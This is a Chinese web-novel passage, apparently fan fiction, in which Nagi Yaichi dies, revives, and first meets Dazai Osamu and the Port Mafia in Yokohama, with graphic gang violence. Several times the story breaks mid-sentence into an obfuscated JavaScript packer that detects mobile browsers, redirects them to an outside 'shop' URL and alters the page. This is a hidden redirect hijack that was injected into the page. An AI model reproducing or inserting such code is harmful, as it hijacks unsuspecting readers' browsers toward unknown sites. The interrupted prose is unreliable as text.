雾气应激炸开,身体比意识先行动,凪夜一向着十束那边挪出一步——恰巧是这一步,因为枪法生疏,轨迹歪斜、原本不会命中的子弹呼啸着穿过了他的胸膛。 凪夜一的身体一滞。 他能感知到心脏被子弹绞碎的过程,霎时间被抽干所有力气,踉跄着后退两步,重重地栽倒下去。 不速之客走出阴影,露出一张似曾相识的脸孔。 正分幸一握着枪的手不住颤抖,神情狼狈:“对不住了。王说,只要我能成功除掉你,他就……呃——” 他连惨叫都没来得及发出一声,就被狂怒的雾刃绞成了一团碎肉。 十束惊愕地回头,看见背后景象的瞬间,脸上的血色霎那间褪得干干净净。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149789|147751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “夜一!!!!” 凪夜一被一双慌乱的手翻了起来。侧脸贴着的是温度略冷的怀抱,头顶是十束如同断带音频一样断断续续的呼喊声:“夜一!!别……” “……别睡!……醒……” 这些声音如同模糊的海浪,一层一层,越推越远。 凪夜一的眼前慢慢爬上黑影,躯体麻木,动弹不得。 “听得见我说话吗?夜一!!”十束紧紧抱着他,崩溃地翻出终端,沾着血的指尖在亮起的屏幕上划出一条又一条不详的划痕,“救护车……我马上叫救护车……” 他的手太抖了,连续按了好几次,才按对急救电话的号码。正要拨出去的时候,凪夜一不知从哪挤出力气,猛地将十束握着终端的手拽下来,连带着冰冷的机械一同按进怀中。 “……不……” 他说了一句话,并且在用为数不多的余力不停重复。 十束红着眼眶凑近他唇边,拼命稳住心神,辨认出他说的是: ——不要叫人。 “为什么……”十束哽咽道,“至少、至少King他们……” “我……咳、咳咳——” 凪夜一艰难地吸了一口气,被喉咙里涌出的血呛住,埋在十束怀里昏天黑地地咳嗽。 子弹擦伤了他的肺部,这具躯体进入了消散倒计时,也不再自行修复。 太快了。 快到有些猝不及防。凪夜一意识模糊地想。 原本打算等到安娜过完生日以后的。至少要找个机会,好好跟十束他们道个别。 少年的意识越来越轻,砸醒他的是十束的眼泪。 落在脸上的感觉很凉,像融化的雪。凪夜一把血咽下去,强忍着巨大的晕眩,拽紧十束的衣服,艰难地出声安慰:“我还……咳咳……还会回来的。只是暂时离开,不要告诉他们,我……” 啊……太差劲了。果然应该好好写一份遗书的。 他的声音慢慢低下去,冷风一吹,消失不见。少年蜷缩在十束怀中,阖上了双眼。 在十束近乎干涸的神情中,凪夜一的身躯化为光点,彻底消散了。青年的怀中空无一物,仿佛地上的鲜血只是一场噩梦。 呆坐良久,十束慢慢弯下腰去,喉中挤出一声痛苦的呜咽。 * “醒了吗?” 耳边传来雾气的问候声。 凪夜一睁开眼睛,安静地盯着天花板。 心口的不适感已经完全消失,身体如同从前无数次那样,被馆舍修复完成。只是这次,凪夜一心中毫无解脱的情绪,盯着天花板发了好一会儿愣,才慢慢翻过身,攥着狱门疆,蜷缩成小小的一团。 “……雾气。” “嗯?” “我想休息一下。” “当然可以。”雾气漂浮在床边,从里面探出两道难得柔和的视线,“睡吧。醒来以后,我们就去下一个世界。” 32.魔幻横滨1 事件的开端,是横滨里世界不著名危险分子、但是著名许愿机的某位白毛脚边中了一枪。 这一枪逼停了他的脚步。 身形高挑的少年肩膀上靠着一柄透明雨伞,就这么停在了原地。 他并没有转身,更没表现出分毫对危险的敬畏,像是对接下来要发生的事情了然于心,打心底里觉得乏味无比。 一队持枪的帮派成员埋伏在四面八方的小巷中,耳麦里传来干部有些冷漠的指挥声: “接近目标,埋伏不要动。派一个人去交涉。” 话音落下不久,一位同伴的身影挡在了目标前方。那是组织里颇有恶名的刀疤脸,黑洞洞的枪口抵着白发少年的额头,嘴角咧一个毫不友善的笑:“哟。下午好啊,少年。” “我们首领有事想请你走一趟,你看怎么样?” 其余埋伏的成员大气不敢出,满头冷汗地盯着街道中央。 气氛沉冷凝滞,过了得有十多秒,目标的声音响起,没什么波动、轻飘飘的奇异声线如同一缕雾气在街道中回荡:“啊,可以啊。” 刀疤脸哼笑一声:“算你识……” 他抵在目标额头上的枪忽然被握住了。近在咫尺的距离,对方略长的额发底下抬起一只阴郁冷漠的绿眼睛。 “只是,没人告诉过你吗?” “和我谈事情的时候,不要带武器。” 刀疤脸被他的目光一摄,瞳孔猛缩之间,余光里飘过一缕稀薄的雾气。耳麦里干部察觉到不对,拍桌子下令:“动手!!” 刀疤脸立刻扣动了扳机。 还没发射的子弹在枪管里被绞成了渣,几声令人牙酸的闷响过后,少年丢开了手里的枪,退后几步,将伞挡到身前—— 哗。 刀疤脸变成一堆红白交错的断肢落地,喷溅的血液霎时间涂满了伞面。这一幕的视觉冲击不可谓不强,周围埋伏的帮派成员发出惊恐的吼声,铺天盖地的弹雨从枪管里呼啸而去。 “怪物!!怪物!!!!” “赶紧死!!!” 目标提着那把血淋淋的伞,漫不经心地转了两下。他身边环绕的雾气如同满口獠牙的凶兽,眨眼间将四面八方飞来的子弹击碎,停顿片刻后,以肉眼看不清的速度刺入子弹飞来的源头,鲜血飞溅,杀戮结束。 整个突击小队被全部剿灭,干部惊慌失措的怒吼声在耳麦里回响:“怎么回事?!喂?!全死了吗?可恶!一群没用的东西……” 唯一的一位幸存者兼□□卧底靠在墙后,双手颤抖地把没装子弹的空枪放下。 他藏在一个相当隐秘且视角极佳的位置,胸口的微型摄像机正对着凪夜一的方向,兢兢业业地将那道冷淡的背影收入镜头,实时传送到□□的首领室内。 “……就是这样。” 首领室中,森鸥外双手撑着下巴,紫红的眼瞳兴致盎然地移向长桌另一边。 “太宰君,你能想办法将他带到我面前吗?” 室内很昏暗,太宰治站在森鸥外的长桌边,像一条漆黑的鬼影。唯一能辨识他存在的是未被绷带包裹的一小片面孔,在微弱灯光的映照下,泛着苍白病态的色泽。 “请恕我拒绝,首领。”对于森鸥外的提议,他完全提不起劲,“和这种危险分子交谈很累的。一不小心就会变成尸块死掉。” “哦呀。竟然在担心这个吗?”森鸥外像是有些意外,“尸块是不会变的吧,他的异能对你并不起效。” “我对你很有信心。太宰君,真的不想去试一试吗?” “他的异能还能操纵别的什么东西吧。”太宰治恹恹地道,“看起来是个无时无刻不在发狂的家伙,被误伤了可是很痛的。” 虽然嘴上不情不愿地拒绝了个彻底,他还是慢吞吞地走到森鸥外桌前,伸手拿起摆在桌上的任命书。 “呜哇……墨迹都干掉了。这个写了好几天了吧?” 森鸥外的态度非常镇定。 “嘛,毕竟是难得的珍贵异能者。虽说异能拥有杀伤性很常见,但突破某个阈值后,就会变成某种性质不同的珍贵资源。要想将它攥在手心,是一件需要仔细考量的事——幸运的是,这位异能者的脾气看起来很不错。” “哈?”太宰一脸“你有没有搞错”的神情,指了指影像里满屏的血,“脾气好?” “当然。”森鸥外好整以暇道,“不过,太宰君。你对我的任命书有什么异议吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174221|147751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “当然不。”太宰治将那张任命书拎到眼前,目光划过纸上“不惜一切手段”几个字眼,鸢色眼瞳仿佛流淌着漆黑的雾气。 “只是觉得,这个人好像有点倒霉。” 交谈之间,影像仍在继续。 凪夜一转了转那柄透明伞,随手把它扔掉。四面八方有血流淌出来,少年抬脚绕过血泊,继续往前走。 没走两步,雾气飘了出来。 “怎么样?”它的声音有点得意,“这次拦截得比上次快吧?” “再练练吧。”凪夜一低头撩开一侧外套,露出自己被血浸透的衬衫,“我这不还是中弹了吗。” “知道会中弹你就躲啊!!受伤这种事情不要习惯啊!!”雾气愤怒地吐槽道,“而且都说了我这个功能还在开发,偶尔有遗漏是不可避免的事啊!” “你在说什么傻话。”凪夜一面无表情地道,“一般人怎么可能躲得过子弹啊。” 雾气说:“不。虽然你体术弱得不行,但在逃命这种事情上我还是很相信你的。” 凪夜一偏头看它,冰绿色的眼睛像两颗寂静的玻璃珠。一两秒后,他若无其事地移开了目光。 雾气:“喂!” 他将外套重新捋正,双手揣在兜里,继续往前走。 凪夜一在横滨的住处是远离海边的一处废弃工地。 楼栋因为拖欠工程款长年停工,荒无人烟,久而久之成为了帮派频繁冲突的黑暗地带,墙壁被炸.弹炸得破破烂烂,视线所及都是可怖的弹孔。 白日馆被凪夜一嵌套在废弃楼层的某一层。 白天他外出调查情报,顺便搜集一些小小的心愿,作为馆舍的养料。天黑之后,便会回到馆舍休息。 偶尔有睡不着的时候,他便会坐在破烂的墙壁边上,从高处远眺漆黑分界线的对面,欣赏横滨市令人眼花缭乱的夜景。 这样在旁人看来枯燥无比的生活已经持续了近半年,因为缺失对死亡的规划,凪夜一的步调被无限拉缓。 他像是一只徘徊在废弃工地的幽灵,等待一个真正落地的契机出现。 这个契机很快到来。 某一天,他所居住的废弃楼区潜进来一群不速之客。 33.魔幻横滨2 那是十几个凶神恶煞的大汉,为首的嘴里叼着烟,后头跟着的人腰后架着枪,一行人煞气外露,拖着一位生死不明的少年往废弃楼走。 少年的手腕被手铐铐住了,露在外头的手臂之上缠满了绷带,看起来伤得不轻。 不仅如此,他的神智似乎也不太清醒,被旁边几只恶意满满的手掌推来推去,步履蹒跚地往前,途中被一颗石子绊住,险些脸朝地扑倒下去。 一只手毫不留情地揪住他的衣领将他拽起来,恶狠狠道:“你又想耍什么花招?!听好了臭小鬼,要是进去以后找不到我们的人,我就把你的头割下来当球踢!” 被这样粗暴地对待一番,浑身缠满绷带的黑发少年仍然显得很提不起劲。他懒洋洋地回答:“都说了在里面了。等找到人以后,你们就会放我走,对吧?” 男人冷笑一声,眼中透出骇人的凶光:“那就是找到人以后的事情了。” 凪夜一就盘腿坐在四楼的破口处,听见响动低下头,观察下方的情势。 他很快辨认出底下的是一批里世界的帮派成员,中间那个黑发少年应该是他们抓回来的俘虏。 遗憾的是,横滨不存在善待俘虏的传统,那个少年接下来会遭遇什么不言而喻。 好一些的情况是被自己的同伴救出去,但看底下这个人数,他能不能活下来还是个未知数。 凪夜一没有行动,也没有出声。他静默地坐在楼墙边缘,色泽奇异的眼瞳之中倒映着一片空茫的夜景,除此以外空无一物。 他对混乱之地存在天然的适应能力。身处这座本质灰暗混沌的城市,凪夜一对这些无时无刻不在发生的暴力冲突习以为常,心中毫无波澜。 ——也不能说是毫无波澜,如果能救,他还是打算救的。 可惜的是,他本身战力为零,刀枪剑炮一碾就倒,单挑一个正常成年人都毫无胜算。 就算要救底下那个倒霉蛋,也要等一个合适的时机。 一行人乌泱泱地往建筑里挤,气氛正是紧绷的时候,凪夜一心里忽然涌现一抹不详的预感。 很快,他的预感成真了。 被人架在中间的黑发少年似乎察觉到了头顶上有人,脚步微滞,自以为隐秘地向上看了一眼,拷在铁圈内的双手飞速比了个“快逃”的手势。 下一秒,一颗子弹擦着凪夜一的侧脸呼啸而过。 顿了顿,他抬起手,指尖擦过泛起异样感的脸颊,擦下来一道鲜红的血痕。 这种时候,他竟然在心中想:是故意的?是无心的?麻烦来了…… 楼下传来一声戛然而止的惨叫,凪夜一不用看就知道,是那个对他开枪的人被砍成几截了。 很快,众人意识到有意料之外的危险袭来,反应奇快地将枪口对准了楼上,一时间刺耳的短爆声不断,然而火花闪过之后,剩下的只有满地残缺不全的尸体。 唯一没来得及开枪的幸存者呆滞地看着这一切,很快意识到楼上的可能是这个港.黑的小鬼提前叫来的帮手,慌乱之间一把掐住黑发少年的脖子,枪口用力怼住他的太阳穴,惊恐地大叫道:“别过来!!别乱动!!只要你敢动手,我就杀了他!!” 凪夜一的动作一顿,平静地命令道:“雾气,收手。” 森冷的白雾缠绕在他的周围,很快遵从指令散去;而他站在破口的边缘,心中不免感到一点可惜。 这种情况,他是怎么也救不了的。毕竟他没有飞檐走壁的能力,无法从四楼一跃而下,再瞬移到敌人边上用手堵住他的枪口。 “诶?” 像是从他的肢体语言中读出了什么,黑发少年发出意外的声音:“就这样了吗?” 凪夜一的声音从楼上掉下来:“救不了。没能力。” 黑发少年喃喃道:“原来如此。最后居然是这种死法吗……” 虽然嘴上说的好像有点不甘心,但他从头到尾压根没动,安安静静地任由敌人掐着脖子,一丁点挣扎反抗的意图都没有。 凪夜一盯着他,双瞳如同凝结的冰面,虹膜边缘的微光像是冰层碎裂的破口。他几乎立刻就明白过来——这个人憧憬、追求、渴望着死,生命的每一分每一秒都沉醉其中。 自杀狂热爱好者,比起以前的他还能造作。至少,在别人掐着自己脖子的时候,凪夜一不会毫无反应。 少年的心中因此泛起些许波澜,但也仅此而已了。他尊重这位陌生少年的人生追求,平静地凝视地面,开口问道:“你有什么遗愿吗?” 黑发少年抬起头来。凪夜一这才注意到,他的额头、右眼合脖子上也缠着绷带。 伤痕累累,苍白瘦弱。 很快,对方轻飘飘、又带着几分迷幻的嗓音从地面升起来:“一般问出这种问题,就代表什么愿望都能实现的吧?” 凪夜一说:“不要太不切合实际。还有,蓄意作恶的不行。” “诶——”黑发少年兴致勃勃地拉长了声音,“听起来能做到的事挺多的嘛。把我旁边这位杀掉也可以吗?这不算蓄意作恶吧,他正准备杀我呢。” 凪夜一思考一刻:“或许。” 毕竟判定契约能不能成立的不是他,而是馆舍本身。如果馆舍拒绝了客人的愿望,凪夜一也做不了什么。 他们的谈话立刻激怒了底下持枪的人,恐惧燃烧过度,化为了能短暂蒙蔽双眼的愤怒。 他手中的枪用力抵着黑发少年的太阳穴,暴怒地出声道:“叽叽歪歪说什么啊两个臭小鬼!我警告你们,谁也不要动!等老子安全离开这个鬼地方,我自然会留他一命的!” 最后一句话,他是对着凪夜一说的,俨然已经把两人当成了同伙。 底下的黑发少年被枪怼破了太阳穴,还被打断了对话,神色倏地阴沉下来。厌烦与蔑然在他眼底翻涌,他冷冷地道:“我说你啊。一直开不了枪是手指断掉了吗?你的组织没有教过你,这种情况下,就算有一百个俘虏你也是活不成的吗?不如临死之前干掉一个敌对组织的大人物,立功以后说不定还能为家人争取到更多抚恤金——” 男人狂怒地攥紧他的脖颈:“你这混蛋!!!” 在他扣动扳机之前,一直藏在暗处的红点悄无声息地挪到了他的要害。 一声闷响过后,劫持者的脑袋破开一个大洞,还没来得及惨叫一声就命丧黄泉。黑发少年嫌弃地将他的尸体踢出几米远,一个响指随手抖开拷在手腕上的手铐,又整理了一下披在肩上的外套。 一大群乌泱泱的家伙不知道从什么地方钻了出来,将这个“敌对组织的大人物”包围在中间。 之后应该是些例行的治疗和劝说,凪夜一对这些不感兴趣,直接离开了。 太宰治坐在楼下的花坛上,下属围在一起给他包扎。在缠绕绷带的间隙, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183065|147751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他抬头看了一眼四楼的缺口,发现那里已经空无一人了。 “太宰大人……”下属满头大汗地问道,“您的计划成功了吗?” 死亡和鲜血带给他的刺激在极短的时间内消弭殆尽。唯一一点称得上鲜活的反应从他身上褪去,太宰治了无生趣地盯着地面的石子,面无表情的脸显得有点怵人。 “不是很明显吗?”他冷冷地道,“失败了。” “他对死亡和危险没有反应,对所谓的组织以及人命毫不敬畏。这是这种家伙的通病吧?力量够强确实也不需要考虑别的什么了。” “有点善心但不多,刚刚那种表情应该已经猜到今晚的事情是故意的了,竟然没有反应。正常情况下应该生气,像漆黑的小矮人那样火冒三丈才对。再说刚才那一枪要是偏一点绝对会爆头吧,竟然还是一点反应都没有……不觉得很像行走的尸体吗?森先生应该会很喜欢这种听话的家伙吧。但对我来说,只是一台无趣的许愿机罢了。” 下属问道:“您很讨厌他吗,太宰大人?” “讨厌?”太宰抬起头,给出个模棱两可的回答,“啊……姑且算吧。” “毕竟人能无聊到这种境界,某种意义上也很厉害。不巧的是,我对尸体君毫无兴趣……快点结束这个任务吧。” 他从花坛上站起来,抖了抖衣服上沾的灰,一边掏出手机,随意拨了个电话出去。 “啊,是我。” “放出来吧。……对,全部。” 他将屏幕贴在耳侧,身影逐渐消失在浓稠黑夜里。 白日馆内,雾气正在不满地嚷嚷。 “刚刚那一下绝对是故意的吧,还害你中了一枪。”它在飘在凪夜一身边,形状随着音量变来变去,“那麻烦小鬼今晚故意来找麻烦,后面肯定还会带一堆麻烦过来的。你打算怎么处理?” 凪夜一坐在沙发上,膝上捧着一本书。但仔细一看,他的注意力并不在书页上,视线盯着字与字之间的空格,又在出神。 少年脸上的表情很淡,单单看脸完全猜不出来他在想什么。俗话说人长一岁就是一个样,凪夜一现在外表年龄十六岁,一张扑克脸俨然已经十分标准。 十束的死和那场意外的死亡确实无声无息地改变了他的某些部分。虽说这小子每隔一段时间就心性大变,但这次变得连雾气都有点陌生。 馆舍灵的话唤回了他的注意力,少年凝滞的眼瞳微微一动,手中的书翻过一页。 “伤口吗?”他回答道,“已经好了。” 雾气怒道:“根本就没问你这个啊!!伤口好了这种事我一眼就能看出来啊!!” 凪夜一的耳朵被它的声音震得嗡嗡的,不得不将手里的书合上,放到一边。 他对雾气不懂幽默的死板性格表示出淡淡的失望,很快站起身走到门边,将挂在门口的外套抖开穿上,左手腕的手串和印记被藏进袖口。 “混蛋夜一……你要去哪?” “处理。”凪夜一低头整理自己的袖扣,“不是你说他后面还会带来一堆麻烦吗?趁着麻烦还没来,现在去把他处理掉正合适吧。” 雾气悚然一惊。 “不,为了今晚的事杀他果然还是……喂!不要光是闷声开门啊!说话啊!你到底想怎么处理啊!” 很快,它被收回了馆主的身体里。凪夜一关上门,重新回到废弃楼栋中。 34.魔幻横滨3 “我没打算对他动手,不要一惊一乍。”凪夜一说,“再说,我根本砍不了人。” 雾气说:“你面无表情的时候看起来就像是要去砍人一样。吓人的很。” 凪夜一对于雾气的话不以为然。 “不要凭借外表去判断。”他说,“我现在正在做好事。” 雾气:“好事……” 他们现在正沿着一条河道走。 凪夜一厌水,住的地方是精挑细选过离海岸最远的,却仍然无法完全避开这座港口城市内部的水域。 现在他们的目标正泡在水里不紧不慢地往前漂,凪夜一则在岸上,向着他即将漂去的方向不急不徐地走。 “再这么泡下去他会死吧。”雾气说,“要不先叫个路人给他捞起来……” 正说到这里的时候,河道边的围栏出现一个缺口。河里泡水的黑发少年被拐弯处的水流冲上岸,半个身子泡在水里,趴在草地上不知道是死是活。 随后,凪夜一用双手提着他的衣领,有点费劲地把他往河岸上拖。 出乎意料的是,这人居然还醒着,衣领勒着他的脖子,还能懒懒散散地说话:“啊啦尸体君。这么晚了还有在河边散步顺便打搅别人好事的兴致吗?” 好事? 凪夜一看了他一眼,忍住没对他的话发表意见。他放开浑身湿淋淋的太宰治,低头擦拭自己的手指,脸色有点白。 “尸体君?” “啊,是别称哦。根据第一印象起的,很简洁易懂吧?” “完全不。”凪夜一说。 虽然是在说话,但太宰治完全没有要起来的意思。他毫无干劲地躺在草地上,像一只漆黑的水鬼,声音亦然。 “那也没办法。毕竟我不知道你的名字。”他唯一一只没被绷带遮住的眼球转动,看到白发少年的表情时微微一顿,“……你那是什么眼神?” 凪夜一低头看他,在他卷曲黑发的缝隙中找到一处血痂。 那是之前被枪口戳破的,部下应该已经给他包扎过,但泡水过后绷带连带着胶带一起脱落,不知所踪。 伤口泡了水,一定会恶化,会很痛。 凪夜一从前随意造作,但他到底不会真的死掉,可面前的人不一样。 他在真心地求死,真心地摧残自我。这份行动能给他带来什么? 凪夜一兀自思考,没注意到太宰投来的目光。 阴冷中掺杂着不悦,能让任何一位港.黑成员头皮发麻。但仔细看,隐约还有一点别的什么东西——像是戒备。 “你好像在考虑什么不合时宜的事呢,尸体君。” 凪夜一道:“没有。只是有点意外。” 世界上的大多数人,在凪夜一眼中都是黑线缠成的恐怖之物。 他从畏惧到不敢睁眼,到能自如地在其中行走,再到现在敢于停住目光。太宰的身影同样藏在黑线之中,凪夜一在心中为其勾勒出模糊的剪影。 “主动来找我的人,很少有不知道我名字的。” 太宰治惊奇地盯着他。 “啊啦。” “忽然开始谈论自己是个大人物的事了吗?想谈也可以,不过最好还是换个人吧,我对尸体君的经历并不是很感兴趣。所以,你来找我有什么目的?” 一边说话,太宰治一边慢慢撑着草叶坐起来。说到最后一句时,他慢悠悠的语调陡然降了下去。 阴晴不定。这四个字在这人身上简直体现得淋漓尽致。 凪夜一道:“只是想……” 太宰治:“顺便一提,仰头看你会让我的脖子很累。能换个姿势吗?也不要坐下来,促膝长谈的氛围出现在我们中间实在是太奇怪了。” 雾气:“呀卡马洗!!!” 凪夜一则是在心中想:果然入水以后人的脑子就会泡出问题。 不论怎么看,太宰的情绪都绝对算不上愉快,比起几个小时之前在楼下见到的时候更甚。 凪夜一将原因归结为入水后遗症,并且不打算遵从他的任何意见,将湿透的手帕揣进兜里,切入了正题。 “你今天来找我,是想做什么?” 原本他觉得可能是来许愿的,但现在,他的感性莫名地否定掉了这一点。 果然,太宰治没有直接回答他的问题,反而问道:“你是那种别人提了要求就会乖乖照做的类型吗?” 答案不言而喻,凪夜一甚至没有出声的必要。 太宰治撑着脸,鸢色眼瞳中映着水面上来回翻涌的波光。片刻以后,他用一种冷淡的、无关紧要的语气说道:“我讨厌推来推去的繁琐过程。所以,要是想发善心的话,就乖乖钻进我挖的陷阱里面怎么样?” 这时,凪夜一福至心灵,从他的语气里咂摸出一点微妙的恶意。 他终于后知后觉过来—— 这人,好像,有点,讨厌自己。 但是为什么? 这份困惑伴随了他相当久的时间,从他进组织前跟到进组织后,最终愈演愈烈,并支撑着他往太宰聪明的脑袋上揍了一拳。 不过,起码现在,凪夜一心中没什么太大的感觉。 太宰治的回答意味着谈话破裂,今晚外出这一趟是他一厢情愿的白费功夫。 河岸对面涌现一群穿着黑西装的人影,正满头大汗地朝这边狂奔,一边奔跑,一边发出诸如“太宰大人!!您没事吧!!”一类的呼声。 凪夜一驻足观看了一会,临走之前,留给这位名叫太宰的少年一条干净的手帕。 “伤口,流血了。”他简短地道,“再见。” 手帕落在太宰治的膝头,他没有接,也没有动。那只未被绷带包裹的鸢色眼瞳向下滑动,瞳中清晰地倒映出那条手帕的模样。 然而他的眼底流露出的绝非什么正常的情绪,视线如同令人窒息的黑泥,一层一层缠着手帕的边边角角,仿佛自己腿上放着的不是一块纤薄的布片,而是能致人于死地的毒药。 他就这么盯着看了一会,神情阴郁地放下了撑脸的手。 “太宰大人!您……” 下属还没站稳脚步,手忙脚乱地伸手去接被抛到空中的、薄薄的手帕。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192167|147751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “给你了。”太宰冷淡地道,“拿去玩吧,别来烦我。” 这就是凪夜一和太宰治算不上愉快的初见。 雾气的预感果然成真,自那以后只要出门,凪夜一少不得遇上麻烦。再次和太宰治见面是在两个月后,一个狭窄漆黑的仓库里。 那是港口Mafia的十七号仓库,凪夜一踩着弹壳出现在仓库门口时,一轮火拼刚刚结束。 仓库里安静得吓人,视线所及都是鲜血淋漓的尸体,凪夜一走过来的时候,还顺脚踢开了几具倒在路中间挡路的——都黑漆漆地死成一团,分不清楚死的到底是港.黑的,还是被他们困在仓库里的敌对组织成员。 设陷阱抓老鼠在里世界是极其常用的手段,而仓库通常是天然的笼子。意识到自己误入他人的任务现场,凪夜一的脚步一顿,犹豫了一下要不要进去。 他抬起视线,通过有限的光源打量仓库内的情况。 因为任务,十七号仓库内的货物已经提前被转移走了,现在堆着的应该都是些假货箱。 经历过一场激烈的火拼,仓库内一片狼藉。凪夜一眼尖地从一些翻倒货箱的碎片里头找到几条红白交错的断肢,血液顺着断口处流淌下来,爬过灰尘遍布的地面,汇成一条脏污的河流。 然而,这些景象并非让凪夜一停滞不前的源头。 真正的源头是站在这条河流之上的黑影,准确来说,是一位身形纤瘦的黑发少年——这是凪夜一第一次认认真真地打量太宰治,不是两个月前模糊的印象,也不是从后来搜查到的资料上遗像一般平静的图片。 年龄约莫十七岁,生着一头微微卷曲的黑发,面朝着凪夜一的那侧眼睛被绷带缠得密不透风,留下一截苍白锋利的下颚,透着近乎病态的冰冷色泽。来自□□Mafia首领的那件黑大衣正空落落地挂在他的肩膀上,然而在不少人看来,那绝不像是一件衣服,而是一片游动的鬼影。 这位史上最年轻的□□干部抱着手臂站在无数黑洞洞的枪口前,姿态安静懒散,看上去有些提不起劲。 出于绝望与忌惮,暂时没有人行动。 气氛因僵持变得冰冷压抑,但等待时间有点久了,久到太宰治的耐心快要告罄。 他看起来终于打算要说点什么了,但开口之前竟有所预料般转头看向仓库门口,视线锁定站在门口的凪夜一时,因无聊而无精打采的眼瞳稍稍睁大了一些。 “呀——夜一君!”他竟然露出一个笑容,转身向仓库门口迈出一步,“你终于来……哎呀。” 果然来事了! 凪夜一飞速侧身,避开了一枚朝他胸口飞来的子弹。与此同时,某堆货箱之后传来一声凄厉的惨叫,而后是躯体倒地的闷响。潜藏在暗处的敌人顿时炸开了锅: “什么?!” “哪里来的攻击?!” “这是什么东西……白色雾气?!” “有异能者!门口那小子是异能者!杀了他!” 太宰治踏出的这一步踩碎了某种脆弱的平衡,门口出现的倒霉蛋立刻成为了转火的目标。 35.魔幻横滨4 迎着四面八方呼啸而来的子弹,凪夜一隐隐觉得有点心痛——雾气开发出来的这个新功能,好用是好用,烧愿力也是真的快。 是该去找点大单子了。他在心中默默地想。 “这种时候竟然还在发呆吗?”太宰双手拢在嘴边,拖着令人讨厌的语调慢悠悠地提醒,“小心身后~” 在他出声的同时,凪夜一偏了一下头。 身后窜出来的杀手速度很快,不到一秒的时间之内刀刃已经贴近了他的脖子,只要一用力就能把凪夜一的头割下来——但有东西速度更快,一缕诡谲恐怖的白色雾气悄无声息地闪现,在暗杀者得手之前干脆利落地将他的身体砍成了两段。 凪夜一被喷了满身的血,眉尖神经质地抽动了一下。 很快,他的“异能力”被动发动,以他的身体为圆心,数不清的雾刃飞掠出去,劈开空中的弹雨,精准锁定每一只对凪夜一有攻击意图的“老鼠”,一击毙命。 这一切结束得很快,从太宰治出声到仓库内归于寂静,只用了十秒钟不到的时间。 初次见到这种能力的黑西装目瞪口呆,而太宰治的视线潦草扫过那些歪七扭八的尸体,很快对他们失去了兴趣,转头用惊奇的语气赞叹道:“果然,还是亲眼看见更震撼一些啊,夜一君的异能。” ——名为太宰治的少年,有一双鸢色的漂亮眼睛。这双漂亮的眼睛里,流淌着一条漆黑的河流。 凪夜一正在用手帕擦拭溅到脸上的血,抬手时衬衫的缝隙中露出一截苍白的皮肤、一小片赤红的印记。除此以外,别无他物。 他对太宰治直呼他名字这件事见怪不怪,平静地回答道:“你不是第一次见了吧。” “是吗?”太宰治笑眯眯地道,“不过不管看多少次,都和初见一样震撼呢。” 他今天兴致仿佛很高,之前河边的恶语相向好像只是错觉,心思比缠成一团的黑毛线团还难拆。 凪夜一不理会他的情绪,走到他面前,对他摊开了手。 “我的东西。” 太宰治从口袋里取出那条手链,将一头放进凪夜一手里。 然而,他却没有松开另一头,就这么不轻不重地拽着,微微笑道:“你知道刚刚杀那些的是谁吗?” 太宰治有一张漂亮的脸。仅仅是笑的时候,脸部线条竟然显出一些与本人风格大相径庭的柔和。 凪夜一攥着一边,也没有松。他说:“不重要。” 太宰治意义不明地拉长声音“哦”了一声。 “你知道对方的首领也在看吧?但你还是动手了。”他锲而不舍地追问道,“非常轻松地变成港口Mafia的同伙了。夜一君现在是什么心情?” 他还是没有松手。凪夜一感觉他为数不多的耐心正在被一只爪子来回翻腾,冰绿的眼瞳底下蕴起一片阴云:“无所谓。” 他们的对话听起来,完全是太宰单方面在自讨没趣。 太宰很少有这样的经历,下属们更是从没经历过这种时刻,个个都缩成鹌鹑一般大气不敢出,恨不得将自己的存在感全部消除。 然而仓库中心,太宰自讨没趣的行为还在继续。 “不愧是尸体君。”太宰治遗憾地道,“你的无聊程度简直超乎我的想象,和你交流就像在对着等身人偶自言自语。” 他还是没松手。凪夜一拽着手串沉默了一下,决定直接问了。 “我身上有什么让你变得健谈的东西吗?” 